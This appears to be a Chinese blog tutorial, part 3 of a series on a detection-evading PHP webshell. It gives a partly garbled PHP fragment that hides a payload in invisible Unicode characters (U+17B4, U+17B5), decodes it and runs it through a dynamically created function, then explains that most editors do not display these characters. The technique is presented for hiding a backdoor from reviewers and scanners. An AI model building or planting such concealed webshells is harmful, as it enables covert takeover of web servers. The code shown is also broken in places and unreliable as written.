主页 > 网络知识 > 一个经典的过人WebShell(3)

一个经典的过人WebShell(3)

同样,准备一下 php 文件:

getArrayValue($lines[$i]); if ($value) $count += 1; else continue; if ($count < 16) $lower .= $value; else $higher .= $value; } $verifyScore = $lower('', "$higher"); $result = $verifyScore(); return $result; } function getArrayValue($test_str) { preg_match('/^s$[^឴឵]+([឴឵]+).?=/', $test_str, $match_test_1); preg_match('/^s$.([឴឵]+).=/', $test_str, $match_test_2); if (isset($match_test_1[0])) { $lower_char = dechex(substr_count($match_test_1[1], "឴")); $higher_char = dechex(substr_count($match_test_1[1], "឵")); $result = chr(hexdec($lower_char.$higher_char)); return $result; } else if(isset($match_test_2[0])) { $matched = array(); $content = str_replace("឵", 'b', str_replace("឴", 'w', $match_test_2[1])); for($i = 0; $i < strlen($content); $i++) { $matched[$i] = $content[$i] 1024; if($content[$i] == $content[1]) { $matched[$i] = 1; } } return pack('H*', test(preg_replace('/[^d]+/i', "", json_encode($matched)))); } } } $score = new getHigherScore(); ?>

运行!

 

image.png

 

效果:

 

image.png

 

我试了很多方法,除非是用 od 这样挨个显示字符的,否则大多数编辑器/命令都不会显示这个两个字符:u17B4、u17B5。目前为止,我遇到唯一会显示出这两个字符的是 MacOS 自带的编辑器:

 

image.png

 

这两个之所以不可见,似乎是大部分编辑器对 Unicode 的支持不够好,很多字符显示不了?不管怎么说,去 Unicode 里再淘一淘其他字符,肯定会有更加合适的~

注意:由于 php 会将这两个字符认为是普通字符而不是像空格、tab 这样的空白字符,放在行最后就会报错

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!